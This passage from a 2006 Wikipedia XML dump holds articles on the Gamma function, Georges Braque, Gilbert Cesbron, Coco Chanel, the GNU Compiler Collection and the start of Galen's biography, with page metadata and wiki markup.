[[ilo:Calendario a Gregorian]]
[[id:Kalender Gregorian]]
[[is:Gregoríska tímatalið]]
[[it:Calendario gregoriano]]
[[he:הלוח הגרגוריאני]]
[[jv:Kalendher Gregorian]]
[[ka:გრიგორიანული კალენდარი]]
[[la:Calendarium Gregorianum]]
[[lt:Grigaliaus kalendorius]]
[[lb:Gregorianesche Kalenner]]
[[li:Gregoriaanse kalender]]
[[hu:Gergely-naptár]]
[[mk:Грегоријански календар]]
[[ms:Kalendar Gregory]]
[[nl:Gregoriaanse kalender]]
[[ja:グレゴリオ暦]]
[[no:Gregoriansk kalender]]
[[nn:Den gregorianske kalenderen]]
[[pl:Kalendarz gregoriański]]
[[pt:Calendário gregoriano]]
[[ro:Calendarul gregorian]]
[[ru:Григорианский календарь]]
[[se:Gregoriánalaš kaleandar]]
[[simple:Gregorian calendar]]
[[sl:Gregorijanski koledar]]
[[sr:Грегоријански календар]]
[[fi:Gregoriaaninen kalenteri]]
[[sv:Gregorianska kalendern]]
[[tl:Kalendaryong Gregorian]]
[[th:ปฏิทินเกรกอเรียน]]
[[tr:Gregoryen takvimi]]
[[uk:Григоріанський календар]]
[[wa:Calindrî gregoryin]]
[[zh:公历]]</text>
    </revision>
  </page>
  <page>
    <title>Gamma function</title>
    <id>12316</id>
    <revision>
      <id>41785164</id>
      <timestamp>2006-03-01T19:03:24Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <comment>/* Approximations */ on iterations for rational arguments</comment>
      <text xml:space="preserve">[[Image:Gamma_plot.svg|thumb|right|325px|The Gamma function along part of the real axis]]

In [[mathematics]], the '''Gamma function''' extends the [[factorial]] [[function (mathematics)|function]] to [[complex number|complex]] and non [[natural number|natural]] numbers (where it is defined). The factorial function of an integer ''n'' is written ''n''! and is equal to the product ''n''!&amp;nbsp;=&amp;nbsp;1&amp;nbsp;×&amp;nbsp;2&amp;nbsp;×&amp;nbsp;3&amp;nbsp;×&amp;nbsp;...&amp;nbsp;×&amp;nbsp;''n''. The Gamma function &quot;fills in&quot; the factorial function for fractional values of ''n'' and for complex values of ''n''. If ''z'' is a complex variable, then for integer values only, we have

:&lt;math&gt;\Gamma(z+1)=z!\, &lt;/math&gt;

but for fractional and complex values of ''z'', the above equation does not apply, since the factorial function is not defined.

==Definition==

The notation Γ(''z'') is due to [[Adrien-Marie Legendre]]. If the real part of the complex number ''z'' is positive, then the [[integral]]
:&lt;math&gt;
\Gamma(z) = \int_0^\infty  t^{z-1}\,e^{-t}\,dt
&lt;/math&gt;
[[absolute convergence|converges absolutely]]. Using [[integration by parts]], one can show that
:&lt;math&gt;\Gamma(z+1)=z \, \Gamma(z)\,.&lt;/math&gt;

Because Γ(1)&amp;nbsp;=&amp;nbsp;1, this relation implies that

:&lt;math&gt;\Gamma(n+1) = n \, \Gamma(n) = \cdots = n! \, \Gamma(1) = n!\,&lt;/math&gt;

for all [[natural number|natural numbers]] ''n''. It can further be used to extend Γ(''z'') to a [[meromorphic function]] defined for all complex numbers ''z'' except ''z''&amp;nbsp;=&amp;nbsp;0,&amp;nbsp; &amp;minus;1, &amp;minus;2,  &amp;minus;3, ... by [[analytic continuation]]. 
[[Image:Gamma abs.png|thumb|right|The Gamma function in the complex numbers]]
It is this extended version that is commonly referred to as the Gamma function.

==Alternative definitions==

The following [[infinite product]] definitions for the Gamma function, due to [[Leonhard Euler|Euler]] and [[Karl Weierstrass|Weierstrass]] respectively, are valid for all complex numbers ''z'' which are not non-positive integers:

:&lt;math&gt;
\Gamma(z) = \lim_{n \to \infty} \frac{n! \; n^z}{z \; (z+1)\cdots(z+n)}
&lt;/math&gt;

:&lt;math&gt;\Gamma(z) = \frac{e^{-\gamma z}}{z} \prod_{n=1}^\infty \left(1 + \frac{z}{n}\right)^{-1} e^{z/n}&lt;/math&gt;

where γ is the [[Euler-Mascheroni constant]].

==Properties==

Other important functional equations for the Gamma function are [[reflection formula|Euler's reflection formula]]

:&lt;math&gt;
\Gamma(1-z) \; \Gamma(z) = {\pi \over \sin \pi z}
&lt;/math&gt;

and the '''duplication formula'''

:&lt;math&gt;
\Gamma(z) \; \Gamma\left(z + \frac{1}{2}\right) = 2^{1-2z} \; \sqrt{\pi} \; \Gamma(2z).
&lt;/math&gt;

The duplication formula is a special case of the '''multiplication theorem'''

:&lt;math&gt;
\Gamma(z) \; \Gamma\left(z + \frac{1}{m}\right) \; \Gamma\left(z + \frac{2}{m}\right) \cdots
\Gamma\left(z + \frac{m-1}{m}\right) =
(2 \pi)^{(m-1)/2} \; m^{1/2 - mz} \; \Gamma(mz).
&lt;/math&gt;

Perhaps the most well-known value of the Gamma function at a non-integer argument is

:&lt;math&gt;\Gamma\left(\frac{1}{2}\right)=\sqrt{\pi},&lt;/math&gt;

which can be found by setting ''z''=1/2 in the reflection formula or by noticing the [[beta function]] for (1/2, 1/2), which is &lt;math&gt;\sqrt \pi&lt;/math&gt;.

The derivatives of the Gamma function are described in terms of the [[polygamma function]]. For example:

:&lt;math&gt;\Gamma'(z)=\Gamma(z)\psi_0(z).\,&lt;/math&gt;

The Gamma function has a [[pole (complex analysis)|pole]] of order 1 at ''z''&amp;nbsp;=&amp;nbsp;&amp;minus;''n'' for every [[natural number]] ''n''; the [[residue (complex analysis)|residue]] there is given by

:&lt;math&gt;\operatorname{Res}(\Gamma,-n)=\frac{(-1)^n}{n!}.&lt;/math&gt;

The [[Bohr-Mollerup theorem]] states that among all functions extending the factorial functions to the positive real numbers, only the Gamma function is [[log-convex]], that is, its [[natural logarithm]] is [[convex function|convex]].

An alternative notation which was originally introduced by [[Carl Friedrich Gauss|Gauss]] and which is sometimes used is the '''Pi function''', which in terms of the Gamma function is

:&lt;math&gt;\Pi(z) = \Gamma(z+1) = z \; \Gamma(z),&lt;/math&gt;

so that

:&lt;math&gt;\Pi(n) = n!.\,&lt;/math&gt;

Using the Pi function the reflection formula takes on the form

:&lt;math&gt;\Pi(z) \; \Pi(-z) = \frac{\pi z}{\sin \pi z}
=
\frac{1}{\mathrm{sinc}_N(x)}&lt;/math&gt;

where sinc&lt;sub&gt;''N''&lt;/sub&gt; is the normalized [[Sinc function]], while the multiplication theorem takes on the form

:&lt;math&gt;
\Pi\left(\frac{z}{m}\right) \, \Pi\left(\frac{z-1}{m}\right) \cdots \Pi\left(\frac{z-m+1}{m}\right)
=
\left(\frac{(2 \pi)^m}{2 \pi m}\right)^{1/2} \, m^{-z} \, \Pi(z).
&lt;/math&gt;

We also sometimes find

:&lt;math&gt;\pi(z) = {1 \over \Pi(z)}\,&lt;/math&gt;

which is an [[entire function]], defined for every complex number. That π(''z'') is entire entails it has no poles, so Γ(''z'') has no [[zero (complex analysis)|zeros]].

== Relation to other functions ==

In the first integral above, which defines the Gamma function, the limits of integration are fixed.
The [[incomplete gamma function|incomplete Gamma function]] is the function obtained by allowing either the upper or lower limit of integration to be variable.

The Gamma function is related to the [[Beta function]] by the formula

:&lt;math&gt;
\Beta(x,y)=\frac{\Gamma(x) \; \Gamma(y)}{\Gamma(x+y)}.
&lt;/math&gt;

The [[derivative of the logarithm]] of the Gamma function is called the [[digamma function]]; higher derivatives are the [[polygamma function]]s.

The analog of the Gamma function over a [[finite field]] or a finite [[ring (mathematics)|ring]] are the [[Gaussian sum]]s, a type of [[exponential sum]].

The [[reciprocal Gamma function]] is an [[entire function]] and has been studied as a specific topic.

==Plots==
&lt;gallery&gt;
Image:Gamma real.png|Real part of Γ(z)
Image:Gamma imag.png|Imaginary part of Γ(z)
Image:Gamma absolute.png|Absolute value of Γ(z)
&lt;/gallery&gt;

&lt;gallery&gt;
Image:Log gamma real.png|Real part of log Γ(z)
Image:Log gamma imag.png|Imaginary part of log Γ(z)
Image:Log gamma absolute.png|Absolute value of log Γ(z)
&lt;/gallery&gt;

== Particular values ==
''Main article: [[Particular values of the Gamma function]]''

:{|
|&lt;math&gt;\Gamma(-2)\,&lt;/math&gt;
|(undefined)
|-
|&lt;math&gt;\Gamma(-3/2)\,&lt;/math&gt;
|&lt;math&gt;= \frac {4\sqrt{\pi}} {3} \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(-1)\,&lt;/math&gt;
|(undefined)
|-
|&lt;math&gt;\Gamma(-1/2)\,&lt;/math&gt;
|&lt;math&gt;= -2\sqrt{\pi}\,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(0)\,&lt;/math&gt;
|(undefined)
|-
|&lt;math&gt;\Gamma(1/2)\,&lt;/math&gt;
|&lt;math&gt;= \sqrt{\pi}\,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(1)\,&lt;/math&gt;
|&lt;math&gt;=0!=1 \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(3/2)\,&lt;/math&gt;
|&lt;math&gt;= \frac {\sqrt{\pi}} {2} \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(2)\,&lt;/math&gt;
|&lt;math&gt;=1!=1 \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(5/2)\,&lt;/math&gt;
|&lt;math&gt;= \frac {3 \sqrt{\pi}} {4} \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(3)\,&lt;/math&gt;
|&lt;math&gt;=2!=2 \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(7/2)\,&lt;/math&gt;
|&lt;math&gt;= \frac {15\sqrt{\pi}} {8} \,&lt;/math&gt;
|-
|&lt;math&gt;\Gamma(4)\,&lt;/math&gt;
|&lt;math&gt;=3!=6 \,&lt;/math&gt;
|}

==Approximations==
Complex values of the Gamma function can be computed numerically with arbitrary precision using [[Stirling's approximation]] or the [[Lanczos approximation]].

By [[integration by parts|partial integration]] of Euler's integral, the Gamma function can also be written

:&lt;math&gt;\Gamma(z) = x^z e^{-x} \sum_{n=0}^\infty \frac{x^n}{z(z+1) \dots (z+n)} + \int_x^\infty e^{-t} t^{z-1} dt&lt;/math&gt;

where, if Re(''z'') has been reduced to the interval [1, 2], the last integral is smaller than &lt;math&gt;xe^{-x} &lt; 2^{-N}&lt;/math&gt;.  Thus by choosing an appropriate ''x'', the Gamma function can be evaluated to ''N'' bits of precision with the above series. If ''z'' is rational, the computation can be performed with [[binary splitting]] in time &lt;math&gt;O((\log N)^2 M(N))&lt;/math&gt; where ''M''(''N'') is the time needed to multiply two ''N''-bit numbers.

For arguments that are integer multiples of 1/24, the Gamma function can also be evaluated quickly using [[arithmetic-geometric mean]] iterations (see [[particular values of the Gamma function]]).

==See also==
*[[Beta function]]
*[[Bohr-Mollerup theorem]]
*[[Digamma function]]
*[[Gamma distribution]]
*[[Gauss's constant]]
*[[Multivariate gamma function|Multivariate Gamma function]]
*[[Polygamma function]]
*[[Stirling's approximation]]
*[[Trigamma function]]
*[[Elliptic gamma function]]

== References ==

* Milton Abramowitz and Irene A. Stegun, eds. ''[[Handbook of Mathematical Functions]] with Formulas, Graphs, and Mathematical Tables.'' New York: Dover, 1972. ''[http://www.math.sfu.ca/~cbm/aands/page_253.htm (See Chapter 6)]''

* G. Arfken and H. Weber. ''Mathematical Methods for Physicists''. Harcourt/Academic Press, 2000. ''(See Chapter 10.)''

* Harry Hochstadt. ''The Functions of Mathematical Physics''. New York: Dover, 1986 ''(See Chapter 3.)''

* W.H. Press, B.P. Flannery, S.A. Teukolsky, and W.T. Vetterling. ''Numerical Recipes in C''. Cambridge, UK: Cambridge University Press, 1988. ''(See Section 6.1.)''

== External links ==

* Examples of problems involving the Gamma function can be found at [http://www.exampleproblems.com/wiki/index.php?title=Special_Functions Exampleproblems.com].

* [http://mathworld.wolfram.com/GammaFunction.html Gamma function at MathWorld]

* Pascal Sebah &amp; Xavier Gourdon.  ''Introduction to the Gamma Function''.  In [http://numbers.computation.free.fr/Constants/Miscellaneous/gammaFunction.ps PostScript] and [http://numbers.computation.free.fr/Constants/Miscellaneous/gammaFunction.html HTML] formats.

* Bruno Haible &amp; Thomas Papanikolaou. ''[http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/papanik/ps/TI-97-7.dvi Fast multiprecision evaluation of series of rational numbers]''. Technical Report No. TI-7/97, Darmstadt University of Technology, 1997 

[[Category:Gamma and related functions]]
[[Category:Special hypergeometric functions]]

[[de:Gammafunktion]]
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  <page>
    <title>Georges Braque</title>
    <id>12317</id>
    <revision>
      <id>41893125</id>
      <timestamp>2006-03-02T12:25:46Z</timestamp>
      <contributor>
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      <text xml:space="preserve">[[Image:Violcand.jpg|thumb|right|250px|''Violin and Candlestick'', Paris, spring 1910 (San Francisco Museum of Modern Art)]]

'''Georges Braque''' ([[May 13]], [[1882]] &amp;ndash; [[August 31]], [[1963]]) was a [[France|French]] [[painter]] and [[sculpture|sculptor]], and with [[Pablo Picasso]] one of the inventors of [[Cubism]].

Georges Braque was born in [[Argenteuil-sur-Seine]], France. He grew up in [[Le Havre]] and studied in the evenings at the [[Ecole des Beaux-Arts]] from about [[1897]] to [[1899]].

He studied in [[Paris]] under a master decorator and was awarded his certificate of craftmanship in [[1901]]. The following year he attended the Academie Humbert and painted there until [[1904]]. It was here that he met [[Marie Laurencin]] and [[Francis Picabia]].

His early work was impressionistic, but he soon changed to a [[Fauvist]] style. In [[1907]], he exhibited works in this style in the [[Salon des Indépendants]]. From [[1909]] to [[1911]], he worked with Picasso to develop Cubism. In [[1912]], they began to experiment with [[collage]] and ''[[papier collé]]''. Their collaboration continued until [[1914]].

Braque was injured in the [[World War I|First World War]], after which he moved away from the harsher abstraction of cubism, towards the hermetic and synthetic forms &amp;mdash; the most abstract forms of cubism.

==Quotes by Georges Braque==

If a painting doesn't disquiet, what is it?

A good painting never stops giving of itself.

I made a great discovery. I don't believe in anything anymore. Objects do not exist for me, except that there is a harmonious relationship among them, and also between them and myself. When one reaches this harmony, one reaches a sort of intellectual void. This was everything becomes possible, everything becomes legitimate, and life is a perpetual revelation. This is true song.

I have found painting to be a means of hanging up my ideas. This enables me to change them and avoid any fixed idea.

The painting is complete when the idea is obliterated.

==External links==

* [http://www.insecula.com/contact/A009018.html/ Georges Braque]
* [http://www.artcyclopedia.com/artists/braque_georges.html Artcyclopedia] - Links to Braque's works

[[Category:1882 births|Braque, Georges]]
[[Category:1963 deaths|Braque, Georges]]
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  <page>
    <title>Gilbert Cesbron</title>
    <id>12318</id>
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      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">{{French literature (small)}}
'''Gilbert Cesbron''' ([[1913]] - [[1979]]) was a [[France|French]] [[novelist]].

He wrote many books on society and children, the most famous of which was ''Chiens perdus sans collier''s, the story of an orphan boy. This book was made into a movie starring [[Jean Gabin]].

[[Category:1913 births|Cesbron, Gilbert]]
[[Category:1979 deaths|Cesbron, Gilbert]]
[[Category:French novelists|Cesbron, Gilbert]]

[[fr:Gilbert Cesbron]]</text>
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  <page>
    <title>Coco Chanel</title>
    <id>12319</id>
    <revision>
      <id>41147932</id>
      <timestamp>2006-02-25T09:46:28Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
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      <comment>Removing image with no source information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">'''Gabrielle Bonheur Chanel''' ([[August 19]], [[1883]] &amp;ndash; [[January 10]], [[1971]]) was a pioneering [[France|French]] [[couturier]] whose modernist philosophy, menswear-inspired fashions, and pursuit of expensive simplicity made her arguably the most important figure in the history of 20th-century fashion design.

&lt;!-- Unsourced image removed: [[Image: CocoChanel.gif|thumb|Coco Chanel]] --&gt;
Popularly known as '''Coco Chanel''' or &quot;Mademoiselle&quot; by her inner circle, she was born in the small city of [[Saumur]], [[France]] in [[1883]], although she asserted she was born in [[1893]], in [[Auvergne (région)|Auvergne]]. Her mother died when Chanel was six, and shortly afterward her father abandoned her and her four siblings;  the Chanel children were then placed in the care of relatives and spent some time in an orphanage. After affairs with generous wealthy men &amp;ndash; a military officer and later an English industrialist &amp;ndash; she was able to open a shop in [[Paris]] in [[1910]] selling ladies' hats, and within a year moved the business to the fashionable [[Rue Cambon]]. Her influence on [[haute couture]] was such that she was the only person in the field to be named on ''[[Time (magazine)|TIME]]'' magazine's list of the 100 most influential people of the 20th century.

In [[1921]] [[Chanel No. 5]] perfume was introduced by Chanel. [[Pierre Wertheimer]] became her partner in the perfume business in [[1924]].  Wertheimer owned 70% of the company; Coco Chanel received 10% and her friend Bader 20%. The Wertheimers continue to control the perfume company today.

The influential [[Chanel suit]], launched in [[1923]], was an elegant suit comprising a knee-length skirt and trim, boxy jacket, traditionally made of woven wool with black trim and gold buttons and worn with large costume-pearl necklaces. Coco Chanel also popularized the [[little black dress]], whose blank-slate versatility allowed it to be worn for day and evening, depending on how it was accessorized. Although unassuming black dresses existed before Chanel, the ones she designed were considered the haute couture standard. In [[1923]], she told ''[[Harper's Bazaar]]'' that &quot;simplicity is the keynote of all true elegance.&quot;

The nickname Coco was evidently acquired at [[La Rotonde_(cafe)|La Rotonde]], a cafe frequented by members of a French cavalry regiment and many of the artists who flocked to Paris' [[Montparnasse]] section at the turn of the 20th century. It was there that Chanel, then a cabaret singer, performed a song called &quot;Qui qu'a vu Coco,&quot; and the name stuck. (Other sources state that her audiences cried &quot;Coco&quot; when they wanted an encore, while further sources state that the song was called &quot;Ko Ko Ri Ko,&quot; French for &quot;Cock-a-doodle-do.&quot;)

Chanel was set up in business by a lover, [[Étienne Balsan]], a French textile heir, and her love affairs with the artist [[Paul Iribe]],   the [[Hugh Grosvenor, 2nd Duke of Westminster|Duke of Westminster]], [[Grand Duke Dmitri]] of Russia, and British sportsman [[Boy Capel]] all had a considerable influence on the stylistic evolution of her often male-inspired fashions. She never married. She almost married the [[Duke of Westminster]] but declined, noting &quot;There are a lot of duchesses, but only one Coco Chanel.&quot;

For more than 30 years, Gabrielle Chanel made the [[Hôtel Ritz Paris|Hôtel Ritz]] in [[Paris]] her home, even during the [[Nazi]] occupation of Paris, during which time she was criticized for taking a German military officer as a lover. She maintained an apartment above her Rue Cambon establishment and also owned Villa La Pausa in the  town of [[Roquebrune]] on the [[French Riviera]]. However, she spent her latter years in [[Lausanne]], [[Switzerland]] and is buried there in a tomb surrounded by five stone lions.

One of her most widely quoted aphorisms is: &quot;Fashion is not simply a matter of clothes.  Fashion is in the air, born upon the wind. One intuits it. It is in the sky and on the road.&quot; 

Chanel has been portrayed on the [[Broadway theatre|Broadway]] stage by [[Katharine Hepburn]] in a musical by [[Andre Previn]] and [[Alan Jay Lerner]], and on screen by the French actress [[Marie-France Pisier]].

The [[House of Chanel]] in [[Paris]], under [[Karl Lagerfeld]], remains one of the top design houses today.

==Sources==
*[http://www.chanel.com Official Site of Chanel]
*[http://womenshistory.about.com/library/bio/blbio_chanel_coco.htm Women's History from about.com]

[[Category:1883 births|Chanel, Gabrielle]]
[[Category:1971 deaths|Chanel, Gabrielle]]
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  <page>
    <title>GNU Compiler Collection</title>
    <id>12323</id>
    <revision>
      <id>41797422</id>
      <timestamp>2006-03-01T20:42:43Z</timestamp>
      <contributor>
        <ip>82.238.95.176</ip>
      </contributor>
      <comment>/* Architectures */</comment>
      <text xml:space="preserve">{{Infobox_Software |
  name = GNU Compiler Collection |
  logo = [[Image:GCC logo.png|40px]] |
  screenshot = [[Image:Gcc-3.4.4-ss.png|220px]] |
  caption = GCC, operated via the command line |
  developer = [[GNU|The GNU Project]] |
  latest_release_version = 4.1.0 |
  latest_release_date = [[February 28]], [[2006]] |
  operating_system = [[Cross-platform]] |
  genre = [[Compiler]] |
  license = [[GNU General Public License|GPL]] |
  website = [http://gcc.gnu.org gcc.gnu.org] |
}}

The '''GNU Compiler Collection''' (usually shortened to '''GCC''') is a set of [[programming language]] [[compiler]]s produced by the [[GNU|GNU Project]]. It is [[free software]] distributed by the [[Free Software Foundation]] (FSF) under the [[GNU General Public License|GNU GPL]] and [[GNU Lesser General Public License|GNU LGPL]], and is a key component of the [[GNU toolchain]]. It is the standard compiler for the free software [[Unix-like]] [[operating systems]], and certain proprietary operating systems derived therefrom such as [[Mac OS X]].

Originally named the '''GNU C Compiler''', because it only handled the [[C programming language]], GCC was later extended to compile [[C++]], [[Java (programming language)|Java]], [[Fortran]], [[Ada programming language|Ada]], and others.

==Overview==
GCC was originally written by [[Richard Stallman]] in [[1987]] as the compiler for the GNU Project, in order to have a compiler available that was [[free software]]. Its development was closely shepherded by the [[Free Software Foundation]].

In [[1997]], a group of developers dissatisfied with the slow pace and closed nature of official GCC development formed a project called [[EGCS]] (Experimental/Enhanced GNU Compiler System) which merged several experimental [[fork (software)|forks]] into a single project forked from GCC. EGCS development subsequently proved sufficiently more vital than GCC development and EGCS was eventually &quot;blessed&quot; as the official version of GCC in April [[1999]].

GCC is now maintained by a varied group of programmers from around the world.  It has been ported to more kinds of [[central processing unit|processor]]s and [[operating system]]s than any other compiler.

As well as being the official compiler of the GNU system, including Linux-based variants ([[GNU/Linux]]), GCC has been adopted as the main compiler used to build and develop other operating systems including the [[Berkeley Software Distribution|BSD]]s, [[Mac OS X]], [[NeXTSTEP]], and [[BeOS]].

GCC is often the compiler of choice for developing software that is required to execute on a plethora of hardware.  Differences in native compilers lead to difficulties in developing code that will compile correctly on all the compilers and build scripts that will run for all the platforms.  By using GCC, the same parser is used for all platforms, so if the code compiles on one, chances are high that it compiles on all.  In some cases GCC produces slower executables than other compilers, but being free software, and/or the potential for reduced development costs often makes using it worthwhile.

==Languages==
[[As of version 4.0|As of version 4.0.0]] (released on [[April 20]] [[2005]]), the standard compiler release includes front ends for:
* [[Ada programming language|Ada]] (GCC for Ada ''aka'' [[GNAT]])
* [[C programming language|C]]
* [[C++]] (GCC for C++ ''aka'' G++)
* [[Fortran programming language|Fortran]] (GCC for Fortran ''aka'' [[GFortran]])
* [[Java programming language|Java]] (GCC for Java ''aka'' [[GCJ]])
* [[Objective C|Objective-C]]

A front end for [[CHILL programming language|CHILL]] was previously included, but has been dropped owing to a lack of maintenance.  The G77 front end was dropped in favour of the new GFortran frontend that supports Fortran 95.  [[Pascal programming language|Pascal]], [[Modula-2 programming language|Modula-2]], [[Modula-3 programming language|Modula-3]], [[Mercury programming language|Mercury]], [[VHDL|VHDL]], [[PL/I|PL/I]] and [[Objective-C#Objective-C%2B%2B|Objective-C++]] frontends also exist.

==Architectures==
GCC target processors (as of version 4.1) include:
* [[DEC Alpha|Alpha]]
* [[ARM architecture|ARM]]
* [[Blackfin]]
* [[Hitachi H8|H8/300]]
* [[System/370]], [[zSeries|System/390]]
* [[x86]] and [[AMD64]]
* [[IA-64]] i.e. the &quot;[[Itanium]]&quot;
* [[Motorola 68000]]
* [[Motorola 88000]]
* [[MIPS architecture|MIPS]]
* [[PA-RISC]]
* [[PDP-11]]
* [[PowerPC]]
* [[SuperH]]
* [[SPARC]]
* [[VAX]]
* [[Renesas]] [[R8C]]/[[M16C]]/[[M32C]] families
* [[MorphoSys]] family

Lesser-known target processors supported in the standard release have included [[A29K]], [[Advanced Risc Computing|ARC]], [[Atmel AVR]], [[C4x]], [[CRIS]], [[D30V]], [[DSP16xx]], [[FR-30]], [[FR-V]], [[Intel i960]], [[IP2000]], [[M32R]], [[Freescale 68HC11|68HC11]], [[MCORE]], [[MMIX]], [[MN10200]], [[MN10300]], [[320xx microprocessor|NS32K]], [[ROMP]], [[Stormy16]], [[V850]], and [[Xtensa]]. Additional processors, such as the [[D10V]], [[PDP-10]], [[MicroBlaze]] and [[Z8000]], have been supported by GCC versions maintained separately from the FSF version.

==Structure==
GCC's external interface is generally standard for a [[Unix]] compiler. Users invoke a driver program named &lt;code&gt;gcc&lt;/code&gt;, which interprets command arguments, decides which language compilers to use for each input file, runs the [[assembler]] on their output, and then possibly runs the [[linker]] to produce a complete program.

Each of the language compilers is a separate program that takes in source code and produces assembly language. All have a common internal structure; a per-language [[front end]] that [[parsing|parses]] the languages and produces an [[abstract syntax tree]] (&quot;tree&quot; for short), and a [[back end]] that converts the trees to GCC's [[Register Transfer Language]] (RTL), runs various [[compiler optimization]]s, then produces assembly language using architecture-specific [[pattern matching]] originally based on an algorithm of [[Jack Davidson]] and [[Chris Fraser]]'s.

Nearly all of GCC is written in C, although much of the Ada frontend is written in Ada.

===Front ends===
[[Frontend]]s vary internally, having to produce trees that can be handled by the backend. Some parsers use a [[YACC]]-type grammar specification, while others are hand-coded [[recursive descent parser]]s.

Until recently, the tree representation of the program was not fully independent of the processor being targeted. Confusingly, the meaning of a tree was somewhat different for different language front-ends, and front-ends could provide their own tree codes.

In 2005, two new forms of language-independent trees were introduced.  These new tree formats are called [[GENERIC]] and [[GIMPLE]].  Parsing is now done by creating temporary language-dependent trees, and converting them to  GENERIC.  The so-called gimplifier then lowers this more complex form into the simpler [[Static single assignment form|SSA]]-based GIMPLE form which is the common language for a large number of new powerful language- and architecture-independent global (function scope) optimizations.  

Optimization on trees does not generally fit into what most compiler developers would consider a front end task, as it is not language dependent and does not involve parsing.  GCC developers have given this part of the compiler the somewhat contradictory name the &quot;middle end.&quot;  These optimizations include [[dead code elimination]], [[partial redundancy elimination]], [[global value numbering]], [[sparse conditional constant propagation]], and [[scalar replacement of aggregates]].  Array dependence based optimizations such as [[automatic vectorization]] are currently being developed.

===Back end===
The behavior of the GCC back end is partly specified by [[preprocessor macro]]s and functions specific to a target architecture, for instance to define the [[endianness]], [[word size]], and [[calling convention]]s. The front part of the back end uses these to help decide RTL generation, so although GCC's RTL is nominally processor-independent, the initial sequence of abstract instructions is already adapted to the target.

The exact set of GCC optimizations varies from release to release as it develops, but includes the standard algorithms, such as [[jump optimization]], [[jump threading]], [[common subexpression elimination]], [[instruction scheduling]], and so forth.  The RTL optimizations are of less importance with the recent addition of global SSA-based optimizations on [[GIMPLE]] trees, as RTL optimizations have a much more limited scope, and have less high-level information.

A &quot;reloading&quot; phase changes abstract (pseudo-) [[processor register|register]]s into real machine registers, using data collected from the patterns describing the target's [[instruction set]]. This is a somewhat complicated phase, because it must account for the vagaries of all of GCC's targets.

The final phase is somewhat anticlimactic, since the patterns to match were generally chosen during reloading, and so the assembly code is simply built by running substitutions of registers and addresses into the strings specifying the instructions.

==Debugging GCC programs==
The primary tool for debugging GCC code is the [[GNU Debugger]] (gdb).  Among more specialized tools are [[Valgrind]] for finding memory leaks.

==References==
*[[Richard Stallman|Richard M. Stallman]]: ''[http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc.html Using and Porting the GNU Compiler Collection]'', [[Free Software Foundation]], ISBN 059510035X
*Richard M. Stallman: ''[http://gcc.gnu.org/onlinedocs/gcc-3.3.1/gcc/ Using Gcc: The Gnu Compiler Collection Reference]'', Free Software Foundation, ISBN 1882114396
*[[Brian J. Gough]]: ''[http://www.network-theory.co.uk/gcc/intro/ An Introduction to GCC]'', Network Theory Ltd., ISBN 0-9541617-9-3

==See also==
GCC now includes [[Boehm GC]], a conservative [[Garbage collection (computer science)|garbage collector]] for C/C++.

*[[ConceptGCC]]
*[[GCC-XML]]
*[[introspector (program)|GCC Introspector]]
*[[LLVM]], Low Level Virtual Machine compiler infrastructure
*[[MinGW]], Minimalist GNU for Windows
*[[GCC Summit]]
*[[Watcom|OpenWatcom]], another free open-source C++/Fortran compiler

==External links==
* [http://gcc.gnu.org/ GCC homepage]
* [http://gcc.gnu.org/onlinedocs/gcc-4.0.0/gcc/ v4.0 Manual]
* [http://gcc.gnu.org/onlinedocs/gcc-3.4.3/gcc/ v3.4.3 Manual]
&lt;!--* [http://gccnews.chatta.us/ GCC periodic news summary]--&gt;
* [http://www.kegel.com/crosstool/ Building and Testing gcc/glibc cross toolchains]
&lt;!--* [http://www.isanbard.org/~wendling/tree.html Wendling's overview of trees] timesout --&gt;
* [http://gcc.gnu.org/wiki GCC Wiki]
* [http://www.nabble.com/gcc-f1154.html GCC Forum] - hosted by [http://www.nabble.com Nabble] archiving all gcc mailing lists into a searchable forum.

==Further reading==
* Arthur Griffith, ''GCC: The Complete Reference''. McGrawHill/Osborne. ISBN 0-07-222405-3.

[[Category:Compilers]]
[[Category:GNU project software|Compiler Collection]]
[[Category:Java tools]]

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  </page>
  <page>
    <title>Games of chance</title>
    <id>12324</id>
    <revision>
      <id>15910021</id>
      <timestamp>2002-05-26T01:00:21Z</timestamp>
      <contributor>
        <username>JeLuF</username>
        <id>733</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[game of chance]]</comment>
      <text xml:space="preserve">#REDIRECT [[game of chance]]
</text>
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  </page>
  <page>
    <title>Galen</title>
    <id>12326</id>
    <revision>
      <id>41600572</id>
      <timestamp>2006-02-28T12:17:17Z</timestamp>
      <contributor>
        <username>ESkog</username>
        <id>88149</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/85.12.68.1|85.12.68.1]] ([[User talk:85.12.68.1|talk]]) to last version by Velho</comment>
      <text xml:space="preserve">[[Image:Galen.jpg|right|]]

'''Claudius Galenus of Pergamum''' ([[131]]-[[201]] AD), better known in [[English language|English]] as '''Galen''', was an [[ancient Greece|ancient Greek]] [[physician]]. His views dominated [[European]] [[medicine]] for over a thousand years. 

== Life ==
Galen was born in [[Pergamum]] (modern-day [[Bergama]], [[Turkey]]), the son of [[Aeulius Nicon|Nicon]], a wealthy architect. His interests were eclectic - [[agriculture]], [[architecture]], [[astronomy]], [[astrology]], [[philosophy]] - until he concentrated on [[medicine]]. 

By the age of twenty he had become a ''therapeutes'' (&quot;attendant&quot; or &quot;associate&quot;) of the god [[Asclepius]] in the local temple for four years. After his father's death in [[148]] or [[149]] he left to study abroad. He studied in [[Izmir|Smyrna]] and [[Corinth]] and at [[Alexandria]]. He studied medicine for a total of twelve years. When he returned to Pergamum in [[157]], he worked as a physician in a [[gladiator]] school for three or four years. During this time he gained experience of [[trauma]] and [[wound]] treatment. He later regarded wounds as &quot;windows into the body&quot;. 

